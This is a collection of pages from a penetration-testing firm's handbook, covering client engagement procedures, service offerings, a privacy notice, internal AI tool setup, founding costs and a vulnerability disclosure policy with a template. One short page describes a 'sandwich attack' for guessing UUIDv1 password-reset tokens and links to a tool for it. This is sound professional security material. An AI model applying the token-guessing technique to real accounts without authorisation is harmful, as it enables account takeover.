Locked Shields-Übung der NATO), internationalen Capture-the-Flag-Events als Teilnehmer, Trainer und/oder Mitorganisatoren (etwa DEF CON CTF 2025, European Cyber Security Challenge, Austria Cyber Security Challenge). --- --- url: 'https://handbook.syslifters.com/de/skill-matrix.md' description: >- Skill-Matrix mit Selbsteinschätzung unserer Stärken in Pentesting- und Security-Bereichen. --- # Unsere Skill-Matrix So schätzen wir unsere Fähigkeiten in den einzelnen Pentesting-Bereichen ein. | Skills | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | | ------ | :-: | :-: | :-: | :-: | :-: | :-: | :-: | :-: | :-: | :-: | | Active Directory | | | | | | | | | | | Entra ID | | | | | | | | | | | Web-Applikationen | | | | | | | | | | | Web APIs (e.g. REST) | | | | | | | | | | | Externe Infrastrukturen | | | | | | | | | | Source Code Audits | | | | | | | | | | Virtualisierung (Docker, Kubeneteres) | | | | | | | | | | Betriebssysteme and Hardening | | | | | | | | | Cloud Infrastukturen (e.g., AWS, etc.) | | | | | | | | Kryptographie | | | | | | | Reverse Engineering | | | | Hardware/Firmware | | Warum sind wir nicht überall eine perfekte 10? * Weil wir genug wissen, um sehr klar zu sehen, was wir *nicht* wissen. * Weil wir nicht mehr wissen können als Menschen, die ein Nischenthema täglich leben (z. B. Active-Directory-Entwickler oder die Entwickler einer konkreten Applikation). * Weil wir aktuelle Forschung zwar schnell adaptieren und anwenden, aber nicht schneller sein können als die Forscherinnen und Forscher, die sie produzieren. Warum wir manche Themen exzellent beherrschen? * Weil wir uns auf wenige Themen fokussieren - und dort Exzellenz erreichen. * Weil Dinge, die man exzellent beherrscht viel Spaß machen - besonders, wenn man auch dann noch immer wieder vor neuen Herausforderungen steht. --- --- url: 'https://handbook.syslifters.com/privacy.md' description: Privacy notice for handbook.syslifters.com. --- ## Privacy notice ### Data Protection, Responsibility, and Scope We respect the privacy of our customers and other interested parties and comply with applicable laws to protect your privacy. These laws include, in particular: * the European Union General Data Protection Regulation ("GDPR") This privacy notice applies to: * Website: handbook.syslifters.com The following categories of data subjects are covered by this data protection notice: * Website visitors The party responsible for processing your personal data under this Privacy Notice is: Syslifters GmbH\ Eitzersthal 75\ 2013 Göllersdorf\ Austria\ hello@syslifters.com In the following, we explain: * For what purposes personal data is collected and processed. * Which categories of personal data are affected by the collection and processing. * On what legal basis we process personal data. * Which involved third parties, acting as data processors, are engaged in the processing of personal data. * To which third parties personal data is transmitted. * Further information, such as data retention periods, the rights of data subjects, and other details that help inform you about the described data processing. ## Purposes for which personal data is processed ### Website hosting To make our website accessible to you and ensure its secure and reliable operation, we rely on website hosting services. This involves storing website content, managing technical infrastructure, and processing certain personal data that is automatically transmitted when you visit our website. The processing of this data is necessary to maintain the functionality, security, and performance of our website, as well as to detect and prevent misuse or technical issues. #### Categories of personal data that are processed: * Device Information * Log data * Technical Information * User behavior relevant for error analysis #### Legal basis for processing: * Legitimate interest pursuant to Art. 6 para. 1 lit. f GDPR #### Involved data processors: * GitHub, Inc., 88 Colin P Kelly Jr St, 94107 San Francisco, California, United States of America #### Additional information: * Our legitimate interest lies in ensuring the security, stability, and proper functioning of our website, as well as in detecting and preventing misuse, technical faults, or unauthorized access. * Location of the datacenter where the website is hosted: United States of America ### Offering live chat or chatbot features To provide users with real-time support and assistance, we offer AI chatbot features on our platform. These features enable users to receive automated responses to their inquiries. The processing of personal data is necessary to facilitate these interactions, ensure effective communication, and improve the quality of our support services. #### Categories of personal data that are processed: * Communications Data * Cookies and similar technologies * Information you provide as free text * Technical Information #### Legal basis for processing: * Legitimate interest pursuant to Art. 6 para. 1 lit. f GDPR #### Involved data processors: * Nebius Group N.V.. Schiphol Boulevard 165 1118 BG SCHIPHOL, Netherlands #### Additional information: * Our legitimate interest lies in providing timely and effective support to users, resolving their inquiries, and enhancing the overall quality of our services. * We ask that you do not transmit any special categories of personal data when contacting us. These categories include the following data: * Ethnic origin. * Political opinions. * Religious or philosophical beliefs. * Trade union membership. * Genetic data. * Biometric data. * Health data. * Data concerning sex life or sexual orientation. * If we become aware of a transfer of sensitive categories of data, we will arrange for these to be deleted under consideration of reasonable effort. ## Additional Information ### Data retention We retain your personal data only for as long as necessary to fulfill the purposes described in this privacy notice, or as long as required by contractual or legal retention obligations. Once your personal data is no longer needed for these purposes, or when applicable retention periods have expired, your data will be deleted or anonymized in accordance with applicable data protection laws ### Protection of Personal Data We safeguard personal data by implementing appropriate technical and organizational measures in accordance with applicable data protection laws and recognized industry standards. These measures include, where feasible, the pseudonymization and encryption of personal data both in transit and at rest. Our security practices are regularly reviewed and updated to ensure the ongoing confidentiality, integrity, and availability of your personal information. ### Withdrawal of consent If you have given your consent to the processing of your personal data for a specific purpose based on Art. 6 para. 1 lit. a GDPR, you can withdraw this consent at any time. The lawfulness of the processing of the personal data until the withdrawal is not affected by the withdrawal. ### Transfer of data We only transfer or disclose your personal data to third parties when required by applicable law, regulation, or legal process, or when it is necessary for the performance or provision of our services to you. In all cases, we ensure that any transfer of your personal data complies with relevant data protection laws, including the General Data Protection Regulation (GDPR) where applicable. Third-party data processors process personal data only as necessary to deliver the agreed-upon services, in accordance with our instructions and applicable data protection agreements. We do not sell your personal data to third parties. If we intend to use your personal data for purposes that require your consent under applicable law, we will obtain your explicit consent beforehand. ### Rights of Data Subjects #### Right of Access You have the right to request at any time information about the personal data we store about you and to receive a copy of that information. Furthermore, you have the right to obtain confirmation as to whether the personal data in question is being processed. #### Right to Rectification Should your data be inaccurate or incomplete, we will rectify it upon request. #### Right to Data Portability If we process your personal data in an automated way based on your consent or based on a corresponding agreement, you have the right to request a copy of your data in a structured, commonly used, and machine-readable format, which can be sent to you or another party. This right applies only to the personal data that you have provided to us. #### Right to Restriction of Processing You have the right to request that we restrict the processing of your personal data under certain circumstances. #### Right to Erasure You have the right to have the personal data processed by us deleted, insofar as this is legally permissible. #### Objection to Processing You can object to the processing of your personal data, for example, by not using certain services. If you object to the processing of your personal data for certain purposes, this may result in the inability to use the services concerned. #### Right to Lodge a Complaint If you believe that we are not processing your personal data correctly, you can contact us. You also have the right to lodge a complaint with a supervisory authority. For more information on the supervisory authorities in the European Union, please click [here](https://ec.europa.eu/justice/article-29/structure/data-protection-authorities/index_en.htm). All rights can be exercised by sending an e-mail to the contact named at the beginning of this privacy notice. ## Changes to this privacy notice We may update this privacy notice occasionally to reflect changes in our data processing practices, legal requirements, or other operational needs. Any modifications will be published on this page, and the "Date of publication" below will be updated accordingly. We encourage you to review this notice periodically to stay informed about how we protect your personal data. Date of publication of the current version: 11.06.2026 --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/wordlists/user-agents.md description: Links and exported UA lists for fuzzing / WAF behavior checks. --- # User agent wordlists Source list: Scraped from (08/2025): * [`user-agents-all-software-one-version-376-lines.txt`](/assets/user-agents-all-software-one-version-376-lines.txt) * [`user-agents-all-versions-22230-lines.txt`](/assets/user-agents-all-versions-22230-lines.txt) --- --- url: 'https://handbook.syslifters.com/organization/human-resources/ai-tool-setup.md' --- # Using AI We host our own internal AI models for use with AI tools and integrations. You can access them through LiteLLM at . You will receive your own LiteLLM key so you can use (almost) any AI-powered software in combination with our self-hosted models. ## Setup ### Claude CLI 1. Install with winget `winget install -e --id Anthropic.ClaudeCode` 2. To use our own LLMs with claude cli, set the following environment variables ```sh # Powershell $env:CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS = "1" # opt out of using beta versions $env:DISABLE_PROMPT_CACHING = "1" # disable prompt caching $env:ANTHROPIC_BASE_URL = "https://litellm.internal.syslifters.com/" # set local litellm url $env:ANTHROPIC_AUTH_TOKEN = "YOUR_LITELLM_TOKEN" # set your personal auth token # Linux export CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1 export DISABLE_PROMPT_CACHING=1 export ANTHROPIC_BASE_URL=https://litellm.internal.syslifters.com/ export ANTHROPIC_AUTH_TOKEN=YOUR_LITELLM_TOKEN ``` 3. Now run claude with the default model ```Powershell claude.exe --model local_model_default # alias to use currently running local model, you can choose any running model ``` ### Cline Cline is a VSCode extension, which adds custom AIs to your IDE. It allows you to use many different AI providers: * Install cline (https://cline.bot/) extension from marketplace in e.g. VSCode. * When asked "How will you use Cline?" click "Bring my own API key" * Use the following configuration: * API Provider: OpenAI Compatible * Base URL: https://litellm.internal.syslifters.com/v1 * API Key: `Bearer YOUR_LITELLM_TOKEN` * Model: `local_model_default` ## Source Code Analysis For white-box pentests where we receive source code, we have an AI enhanced SAST tool: [PentestAI](https://pentestai.internal.syslifters.com/). ### How it works This tool analyzes source code in stages: 1. Discovery: This phase divides the source code into multiple sections. You can choose a model for that 2. Planning: In this phase, agents analyze each section from phase 1 against a checklst of vulnerability types. You can choose a model for all the agents. 3. Analysis: This is the actual analysis where agents search for vulnerabilities based on reported vuln types from phase 2. You can choose multiple models for all agents. 4. Verification: An agent verifies each discovered vulnerability from phase 3. Choose one model for this step. 5. Consolidation: Because there are likely duplicate findings, we deduplicate them. Choose a model for this phase as well. ### Starting an audit 1. To create an audit, set a project name and upload the source code (either ZIP or folder) 2. Start the sandbox and choose a model for the discovery phase ![Start sandbox and choose the model](/images/pentestai-start-sandbox.png) 3. Next, choose the model used for planning. **When using selfhosted LLMS** make sure to hit the checkbox to force agents to work through the whole checklist. ![Force checklist and select LLM for phase 2](/images/pentestai-force-checklist.png) 4. Choose multiple models for analysis 5. Choose one model for verification and afterwards consolidation --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/auth/uuidv1-sandwich-attack.md description: >- If password reset links use UUIDv1, try a sandwich attack to guess adjacent UUIDs. --- # UUID v1 sandwich attack If a UUIDv1 is used for password reset links, try a sandwich attack to guess the UUID. * Identifying and understanding UUIDv1: [Universally Unique IDentifiers (UUIDs) Are Yours Secure?](https://versprite.com/blog/universally-unique-identifiers/) * Sandwich attack tool: [Sandwich Attack Tool](https://github.com/Lupin-Holmes/sandwich) * Sandwich attack explained: * [Video](https://youtu.be/Wgo3bGv6KqI?si=qJaOY48HOL58xBX7) * [Writeup](https://medium.com/@ibm_ptc_security/sandwich-attack-uuid-v1-a114e3a8b6c4) --- --- url: 'https://handbook.syslifters.com/de/vor-pentests.md' description: >- Ablauf vor dem Pentest - Scoping, Timebox, Permission to Attack, Vorlaufzeit und organisatorische Vorbereitung. --- # Vor unseren Pentests * Ihr stellt uns in einem kurzen Gespräch vor, welche Systeme ihr zu welchem Zweck testen lassen wollt. * Wir schätzen den Aufwand in Personentagen und legen euch ein Angebot. * Der Zeitraum unserer Tests ist auf diese Anzahl an Personentagen limitiert. Wir können nicht mit Sicherheit garantieren, sämtliche vorhandene Sicherheitslücken auch tatsächlich aufzudecken. Sollten echte Angreifer mehr Zeit investieren, könnten sie Schwachstellen finden, die wir eventuell übersehen haben. * Wir verrechnen nur tatsächlich erbrachte Leistungen. Wenn sich herausstellt, dass wir weniger Zeit benötigen, verrechnen wir entsprechend weniger. * Unsere Vorlaufzeit beträgt in der Regel etwa zwei Monate. Bei dringenden Aufträgen tun wir unser Bestes, um einen frühen Termin zu finden. * Wir brauchen bitte spätestens drei Werktage vor dem vereinbarten Test die Liste der Zielsysteme ("Scope"). Das können IP-Adressen, Domains, Subdomains, oä sein. * Mit der Übermittlung geht implizit die Gewährung einer "Permission to Attack" (PtA), einer Angriffserlaubnis einher. Ohne PtA könnten bestimmte Angriffe illegal sein. Wir bitten euch sicherzustellen, dass ihr für die Zielsysteme auch tatsächlich ein PtA erteilen dürft (z. B. ihr der Besitzer der Systeme seid). * Bitte informiert all eure Mitarbeiter und Kollegen, die in den Auftrag eingebunden werden sollen, frühzeitig über den Penetration-Test. Besonders interessiert an einer Einbindung ist in der Regel die Arbeitnehmervertretung (Betriebsrat). * Wir werden keine Maßnahmen durchführen, die absichtlich die Verfügbarkeit eurer Systeme gefährden. * Es kann trotzdem passieren, dass Systeme nicht mehr erreichbar werden. Wir sind während der Tests jederzeit für euch erreichbar, sollten euch Probleme auffallen. * Bitte sorgt dafür, dass die zu testenden Systeme jederzeit wiederhergestellt werden können (z. B. über Backups), sollte doch einmal etwas passieren. --- --- url: 'https://handbook.syslifters.com/de/vulnerability-disclosure.md' description: >- Wie du Schwachstellen meldest und unsere Vulnerability-Disclosure-Policy (Scope, Safe Harbour, Regeln). --- # Vulnerability Disclosure Du hast eine Schwachstelle in einem unserer Systeme gefunden? **Wir tauschen einen YubiKey für Schwachstellen.** (Siehe unsere Disclosure Policy direkt unten.) Wir sind dir sehr dankbar, wenn du sie uns verantwortungsbewusst meldest! Bitte melde Hinweise zu Schwachstellen an: Herzlichen Dank! :heart: :::: tabs \== Our Vulnerability Disclosure Policy As a security company, we know that any system and infrastructure can be(come) vulnerable. We encourage everyone to report security vulnerabilities.\ This protects us, our customers, partners and stakeholders and makes the world a little more secure. ## Safe Harbour We will not take any legal action against activities complying with this policy. If legal actions are initiated by third parties due to activities compliant with this policy, we will take actions to make it known to responsibles and/or legal authorities. ## Our promise We will review and respond to your report promptly and conduct an open dialog with you. We will provide a timeline for when we expect the vulnerability to be fixed. As a mark of recognition, we reward you with an up-to-date YubiKey for your personal use (max. one per person per year) for high or critical issues (following CVSSv3.1). We will give you credits for your findings and include you in our hall of fame if desired. ## Your promise You promise to use discovered vulnerabilities for no other purpose than reporting them to us. Vulnerabilities are reported exclusively and privately, promptly after detection. You promise to not take actions with the intention to harm us, our customers, partners, or any other stakeholder. ## Scope The scope of this vulnerability disclosure policy (VDP) includes: * \*.syslifters.com * \*.syslifters.at * \*.syslifter.com * \*.sysreptor.com * \*.sysraptor.com * \*.sysleaks.com The scope also includes the Pentest Reporting Software SysReptor.\ Note that it **does not** include our SysReptor Cloud service (at \*.sysre.pt). The following activities are prohibited: * Denial of service (incl resource-exhaustion, automated scanners with high loads, deleting data, fuzzing, etc) * Spamming * Social engineering (including phishing) * Physical access (incl entering or surveilling properties) * Attacking non-internet facing systems (internal networks, private IPs, workstations, etc) * Installing persistent backdoors Issues without direct security impact, lack of hardening, or defense-in-depth measures are out of the scope of this VDP. This includes (but is not limited to): * Presence/absence of DKIM/SPF/DMARC records * Missing http headers (such as CSP, Permissions-Policy, etc) * Clickjacking * Missing http cookie flags * Information disclosure of non-sensitive contents (like robots.txt, sitemap.xml, files, directories, etc) * Absence of best practices * Self-Attacks * CSRF with low or no impact * Open ports * Attacks requiring pre-conditions that would be security issues per se (e.g. usage of outdated browsers, vulnerable browser plugins, weak user passwords) * Lookalike domains * Homograph attacks * Broken links * Metadata in assets (like images, PDFs, etc) * Theoretical attacks with no realistic exploit scenario * Weak SSL/TLS settings * Software that is out of date without proven security impact * Missing multi-factor authentication * Recently patched vulnerabilities in third-party software within two weeks after publication **Thank You :heart:** Thank's to all who report security vulnerabilities to us. \== Your Vulnerability Disclosure Policy? ::: tip You can use this document for anything This is the template of a vulnerability disclosure policy that you can use for your vulnerability disclosure program. The contents of the vulnerability disclosure policy are marked with CC0 1.0. This means you can use it for any purpose, also commercially, without attribution (even though we appreciated it). ::: As a `[todo]` company, we know that any system and infrastructure can be(come) vulnerable. We encourage everyone to report security vulnerabilities.\ This protects us, our customers, partners and stakeholders and makes the world a little more secure. ## Safe Harbour We will not take any legal action against activities complying with this policy. If legal actions are initiated by third parties due to activities compliant with this policy, we will take actions to make it known to responsibles and/or legal authorities. ## Our promise We will review and respond to your report promptly and conduct an open dialog with you. We will provide a timeline for when we expect the vulnerability to be fixed. As a mark of recognition, we reward you with an up-to-date YubiKey for your personal use (max. one per person per year) for high or critical issues (following CVSSv3.1). We will give you credits for your findings and include you in our hall of fame if desired. ## Your promise You promise to use discovered vulnerabilities for no other purpose than reporting them to us. Vulnerabilities are reported exclusively and privately, promptly after detection. You promise to not take actions with the intention to harm us, our customers, partners, or any other stakeholder. ## Scope The scope of this vulnerability disclosure policy (VDP) includes: * `[todo]` The following activities are prohibited: * Denial of service (incl resource-exhaustion, automated scanners with high loads, deleting data, fuzzing, etc) * Spamming * Social engineering (including phishing) * Physical access (incl entering or surveilling properties) * Attacking non-internet facing systems (internal networks, private IPs, workstations, etc) * Installing persistent backdoors Issues without direct security impact, lack of hardening, or defense-in-depth measures are out of the scope of this VDP. This includes (but is not limited to): * Presence/absence of DKIM/SPF/DMARC records * Missing http headers (such as CSP, Permissions-Policy, etc) * Clickjacking * Missing http cookie flags * Information disclosure of non-sensitive contents (like robots.txt, sitemap.xml, files, directories, etc) * Absence of best practices * Self-Attacks * CSRF with low or no impact * Open ports * Attacks requiring pre-conditions that would be security issues per se (e.g. usage of outdated browsers, vulnerable browser plugins, weak user passwords) * Lookalike domains * Homograph attacks * Broken links * Metadata in assets (like images, PDFs, etc) * Theoretical attacks with no realistic exploit scenario * Weak SSL/TLS settings * Software that is out of date without proven security impact * Missing multi-factor authentication * Recently patched vulnerabilities in third-party software within two weeks after publication ## Contact Please contact us via `[todo]`. **Thank You :heart:** Thank's to all who report security vulnerabilities to us. :::: --- --- url: 'https://handbook.syslifters.com/vulnerability-disclosure.md' description: >- How to report vulnerabilities to Syslifters and our vulnerability disclosure policy (including scope and safe harbour). --- # Vulnerability Disclosure Did you find a vulnerability in any of our systems? **We trade a YubiKey for vulnerabilities.** (See our disclosure policy right below.) We are grateful if you disclose them responsibly to us! Please report issues to: Thank you! :heart: :::: tabs \== Our Vulnerability Disclosure Policy As a security company, we know that any system and infrastructure can be(come) vulnerable. We encourage everyone to report security vulnerabilities.\ This protects us, our customers, partners and stakeholders and makes the world a little more secure. ## Safe Harbour We will not take any legal action against activities complying with this policy. If legal actions are initiated by third parties due to activities compliant with this policy, we will take actions to make it known to responsibles and/or legal authorities. ## Our promise We will review and respond to your report promptly and conduct an open dialog with you. We will provide a timeline for when we expect the vulnerability to be fixed. As a mark of recognition, we reward you with an up-to-date YubiKey for your personal use (max. one per person per year) for high or critical issues (following CVSSv3.1). We will give you credits for your findings and include you in our hall of fame if desired. ## Your promise You promise to use discovered vulnerabilities for no other purpose than reporting them to us. Vulnerabilities are reported exclusively and privately, promptly after detection. You promise to not take actions with the intention to harm us, our customers, partners, or any other stakeholder. ## Scope The scope of this vulnerability disclosure policy (VDP) includes: * \*.syslifters.com * \*.syslifters.at * \*.syslifter.com * \*.sysreptor.com * \*.sysraptor.com * \*.sysleaks.com The scope also includes the Pentest Reporting Software SysReptor.\ Note that it **does not** include our SysReptor Cloud service (at \*.sysre.pt). The following activities are prohibited: * Denial of service (incl resource-exhaustion, automated scanners with high loads, deleting data, fuzzing, etc) * Spamming * Social engineering (including phishing) * Physical access (incl entering or surveilling properties) * Attacking non-internet facing systems (internal networks, private IPs, workstations, etc) * Installing persistent backdoors Issues without direct security impact, lack of hardening, or defense-in-depth measures are out of the scope of this VDP. This includes (but is not limited to): * Presence/absence of DKIM/SPF/DMARC records * Missing http headers (such as CSP, Permissions-Policy, etc) * Clickjacking * Missing http cookie flags * Information disclosure of non-sensitive contents (like robots.txt, sitemap.xml, files, directories, etc) * Absence of best practices * Self-Attacks * CSRF with low or no impact * Open ports * Attacks requiring pre-conditions that would be security issues per se (e.g. usage of outdated browsers, vulnerable browser plugins, weak user passwords) * Lookalike domains * Homograph attacks * Broken links * Metadata in assets (like images, PDFs, etc) * Theoretical attacks with no realistic exploit scenario * Weak SSL/TLS settings * Software that is out of date without proven security impact * Missing multi-factor authentication * Recently patched vulnerabilities in third-party software within two weeks after publication **Thank You :heart:** Thank's to all who report security vulnerabilities to us. \== Your Vulnerability Disclosure Policy? ::: tip You can use this document for anything This is the template of a vulnerability disclosure policy that you can use for your vulnerability disclosure program. The contents of the vulnerability disclosure policy are marked with CC0 1.0. This means you can use it for any purpose, also commercially, without attribution (even though we appreciated it). ::: As a `[todo]` company, we know that any system and infrastructure can be(come) vulnerable. We encourage everyone to report security vulnerabilities.\ This protects us, our customers, partners and stakeholders and makes the world a little more secure. ## Safe Harbour We will not take any legal action against activities complying with this policy. If legal actions are initiated by third parties due to activities compliant with this policy, we will take actions to make it known to responsibles and/or legal authorities. ## Our promise We will review and respond to your report promptly and conduct an open dialog with you. We will provide a timeline for when we expect the vulnerability to be fixed. As a mark of recognition, we reward you with an up-to-date YubiKey for your personal use (max. one per person per year) for high or critical issues (following CVSSv3.1). We will give you credits for your findings and include you in our hall of fame if desired. ## Your promise You promise to use discovered vulnerabilities for no other purpose than reporting them to us. Vulnerabilities are reported exclusively and privately, promptly after detection. You promise to not take actions with the intention to harm us, our customers, partners, or any other stakeholder. ## Scope The scope of this vulnerability disclosure policy (VDP) includes: * `[todo]` The following activities are prohibited: * Denial of service (incl resource-exhaustion, automated scanners with high loads, deleting data, fuzzing, etc) * Spamming * Social engineering (including phishing) * Physical access (incl entering or surveilling properties) * Attacking non-internet facing systems (internal networks, private IPs, workstations, etc) * Installing persistent backdoors Issues without direct security impact, lack of hardening, or defense-in-depth measures are out of the scope of this VDP. This includes (but is not limited to): * Presence/absence of DKIM/SPF/DMARC records * Missing http headers (such as CSP, Permissions-Policy, etc) * Clickjacking * Missing http cookie flags * Information disclosure of non-sensitive contents (like robots.txt, sitemap.xml, files, directories, etc) * Absence of best practices * Self-Attacks * CSRF with low or no impact * Open ports * Attacks requiring pre-conditions that would be security issues per se (e.g. usage of outdated browsers, vulnerable browser plugins, weak user passwords) * Lookalike domains * Homograph attacks * Broken links * Metadata in assets (like images, PDFs, etc) * Theoretical attacks with no realistic exploit scenario * Weak SSL/TLS settings * Software that is out of date without proven security impact * Missing multi-factor authentication * Recently patched vulnerabilities in third-party software within two weeks after publication ## Contact Please contact us via `[todo]`. **Thank You :heart:** Thank's to all who report security vulnerabilities to us. :::: --- --- url: 'https://handbook.syslifters.com/de/waehrend-pentests.md' description: >- Zusammenarbeit während des Pentests inkl. Austausch, Vertraulichkeit, Quell-IP und Nachtest-Regelung. --- # Während unserer Pentests ::: info Üblicherweise bestehen unsere Pentesting-Teams aus zwei Personen. Dies verbessert unsere Kreativität und Ideenfindung, reduziert Fehler und Fehlschlüsse und erlaubt es uns, unterschiedliche Angriffspfade gleichzeitig zu testen. Bei Projekten mit größerer Timebox setzen wir je nach Anforderung des Projekts auch drei bis vier Pentester ein. Bei kurzen Projekten (etwa bis zu fünf Personentage) arbeiten Pentester auch alleine. Hierbei stehen die Pentester im Austausch mit Kollegen, um Ideen und Feedback zu sammeln. Siehe auch: [Working together](/pentesting-manual/working-together.md) in unserem pentesting manual (en). ::: * Unser Ziel ist das Finden von technischen Risiken und Schwachstellen der Zielsysteme. * Wenn ihr während des Testzeitraums Angriffe beobachtet, könnt ihr anhand unserer IP-Adresse prüfen, ob diese Angriffe von uns stammen. Unsere Quell-IP-Adresse ist `91.99.251.12`. * Um unseren Zeitrahmen so effizient wie möglich nutzen zu können, empfehlen wir einen regelmäßigen informellen Austausch während der Tests und eine partnerschaftliche Zusammenarbeit (etwa Zurverfügungstellung von Testbenutzern und Zugängen, oder - auf unseren expliziten Wunsch - die Deaktivierung bestimmter Sicherheitsmaßnahmen). * Schwerwiegende Schwachstellen werden wir euch so bald wie möglich und während des Testzeitraums mündlich berichten. * Wir bitten euch, Schwachstellen nicht während des Test-Zeitraums ohne Rücksprache mit uns zu beheben. Dies erschwert uns das Testen und senkt die Effizienz und Qualität unserer Tests. * Wenn ihr direkt bei uns gekauft habt, **testen wir behobene Schwachstellen innerhalb von acht Wochen einmalig kostenlos nach**. Damit könnt später ihr auf Nummer Sicher gehen, dass die Behebungen auch wirksam sind. * An uns überlassene interne Informationen und unsere Erkenntnisse aus den Tests sind vertraulich und werden selbstverständlich nicht weitergegeben. --- --- url: 'https://handbook.syslifters.com/de/gruendungskosten.md' description: >- Aufschlüsselung der Gründungskosten einer Pentesting-Firma in Österreich (2022) inkl. laufender Kosten und Lizenzen. --- # Was kostet die Gründung einer Pentesting-Firma? **Exakt € 15.837,93.** Wir sind vier Gründer und haben in Österreich eine gemeinsame GmbH gegründet. Das warum unsere Gründungskosten im Jahr 2022. Bei monatlichen Lizenzen haben wir die ersten drei Monate berücksichtigt. Bei Jahreslizenzen das gesamte Jahr (mussten wir ja auch bezahlen). Variable Kosten, Kilometergeld, etc sind nicht eingerechnet. ## Gründungskosten | | | | --------------------------------------------- | -------------- | | Steuerberatung zu Gründung | € 1 670,00 | | Errichtung Gesellschaftsvertrag | € 1 592,25 | | Notarielle Beglaubigungen | € 1 005,00 | | Fimenbuch-Eintragung | € 494,20 | | Registrierung der wirtschaftlichen Eigentümer | € 198,00 | | **Gesamt** | **€ 4 959,45** | ## Initiale Kosten | | | | ------------------------------------------------ | ------------ | | Logo | € 165,58 | | Webseite (DIY über Webflow, inkl 1 Jahr Hosting) | € 231,00 | | Visitenkarten | € 71,18 | | **Gesamt** | **€ 467,76** | ## Laufende Kosten | | | | ----------------------------------------------------- | -------------- | | WKO Grundumlage | € 244,00 | | Sozialversicherung (4x, 3 Monate, Mindestbeitrag) | € 1 691,88 | | Körperschaftssteuer (Mindestbeitrag) | € 125,00 | | Haftpflichtversicherung | € 193,65 | | Buchführung (3 Monate) | € 400,00 | | Telefongebühren (4x, 3 Monate, inkl Servicepauschale) | € 198,24 | | Dedizierter Cloudserver (3 Monate) | € 117,00 | | S/MIME-Zertifikate (4x) | € 116,00 | | Bankgebühren (3 Monate, inkl Debitkarte) | € 51,57 | | **Gesamt** | **€ 3 561,41** | ## Lizenzen | | | | ------------------------------- | -------------- | | Burp Professional (4x) | € 1 396,00 | | Nessus Professional | € 3 327,38 | | Pingcastle | € 2 000,00 | | Microsoft Action Pack | € 400,00 | | SonarQube (1 Jahr, Dev Edition) | € 150,00 | | **Gesamt** | **€ 7 273,38** | --- --- url: 'https://handbook.syslifters.com/de/was-wir-anbieten.md' description: >- Überblick über unsere offensiven Security-Services, unseren effizienten Pentest-Ansatz und Leistungen, die wir nicht anbieten. --- # Was wir anbieten Wir bieten offensive Security-Services für Kunden im DACH-Raum und darüber hinaus. Unsere Spezialisierungen sind interne Firmennetzwerke (Active Directory, Entra ID und Azure Cloud), externe Infrastrukturen und Web Security. Mit diesem klaren Fokus helfen wir euch, reale Risiken zu finden und zu beheben. Wir arbeiten effizient (und halten eure Kosten niedrig) mit einem Ansatz zwischen Grey- und White-Box, einem angemessenen Zeitrahmen und, wo sinnvoll, vereinbarten Leg-ups wie z. B. einem Assumed-Breach-Startpunkt statt langwieriger und kostspieliger verdeckter End-to-End-Kampagnen. ## Leistungen, die wir anbieten * [Assumed-Breach-Assessments](#assumed-breach-assessments) * [Active-Directory-Pentests](#active-directory-pentests) * [Entra-ID- und Azure-Cloud-Assessments](#entra-id-und-azure-cloud-assessments) * [Pentests externer Infrastrukturen](#pentests-externer-infrastrukturen) * [Pentests von Web-Applikationen](#pentests-von-web-applikationen) * [Angriffserkennungs- und Response-Tests](#angriffserkennungs-und-response-tests) * [Passwortanalyse](#passwortanalyse) * [Lasttests](#lasttests) ### Assumed-Breach-Assessments Tests von einem Startpunkt aus, an dem ein Angreifer bereits im Netz sein könnte, z. B. Standard-Domain-User, kompromittierte Workstation oder vereinbarter interner Foothold. Die initiale Kompromittierungsphase liegt außerhalb des Scopes. Von dort aus arbeiten wir auf die für den Scope vereinbarten Ziele hin, z. B. Erreichen von Domain Admin, Zugriff auf ein definiertes Zielsystem oder Exfiltration bestimmter Daten. Auf Wunsch orientieren wir Techniken an bekannten Threat-Actor-TTPs. ### Active-Directory-Pentests Pentests von on-prem und hybriden Active-Directory-Umgebungen. Wir prüfen die Angriffspfade und Fehlkonfigurationen, die von Ransomware-Akteuren und Angreifern mit bereits bestehendem Foothold (z. B. einer kompromittierten Workstation oder einem kompromittierten Gerät) typischerweise ausgenutzt werden. Das Ergebnis ist ein klares Bild davon, wie sich ein Angriff von einem einzelnen Endpoint bis zu euren sensibelsten Systemen ausbreiten würde. ### Entra-ID- und Azure-Cloud-Assessments Identitäts- und Konfigurationsprüfung von Microsoft Entra ID und Azure, inklusive hybrider Szenarien, in denen Entra ID und on-prem AD ineinandergreifen. Wir prüfen Identitätsrisiken, Zugriffsrichtlinien und Angriffspfade zwischen Cloud- und On-Premises-Identitäten, die reale Angreifer für Lateral Movement und Privilege Escalation nutzen. Das Ergebnis zeigt, wie sich ein kompromittierter Cloud-Account auf eure On-Premises-Umgebung auswirken könnte und umgekehrt. ### Pentests externer Infrastrukturen Pentests eurer externen Angriffsoberfläche: exponierte Dienste, Patch-Lücken, Fehlkonfigurationen und Wege ins Netz. Häufig kombiniert mit AD- oder Entra-ID-Pentests für ein vollständiges Bild von extern nach intern, sodass ihr nicht nur seht, was aus dem Internet erreichbar ist, sondern auch, wohin es intern führt. ### Pentests von Web-Applikationen Manuelle Pentests von Web-Applikationen und APIs nach gängigen Best Practices wie dem OWASP Testing Guide. Wir testen mindestens Grey-Box mit authentifiziertem Zugang und können auf Wunsch auf White-Box mit Source-Code-Review erweitern. Der Schwerpunkt liegt auf Findings, die euer konkretes Risikomodell betreffen, inklusive Geschäftslogik, Authentifizierung und Autorisierung, Datenverarbeitung und relevanter Integrationen. ### Angriffserkennungs- und Response-Tests Ausführung realistischer Angriffstechniken in eurer Umgebung, damit ihr prüfen könnt, ob SOC, SIEM und Response-Prozesse sie erkennen und handhaben. Wir stimmen uns eng mit eurem Blue Team ab und berichten, welche Techniken erkannt wurden, welche durchgekommen sind und wo Detection-Regeln nachgeschärft werden können. Das Ergebnis ist konkretes, technikbezogenes Feedback für euer Detection Engineering. ### Passwortanalyse Analyse der Passwort-Hygiene, z. B. in Active Directory: schwache Passwörter, gängige Muster, Wiederverwendung und Schwächen in den Passwortrichtlinien. Ein fokussierter, effizienter Weg, um Accounts und Richtlinien mit Handlungsbedarf zu identifizieren. Sinnvoll vor oder begleitend zu einem Pentest, da schwache Zugangsdaten nach wie vor zu den häufigsten Einstiegspunkten realer Angriffe gehören. 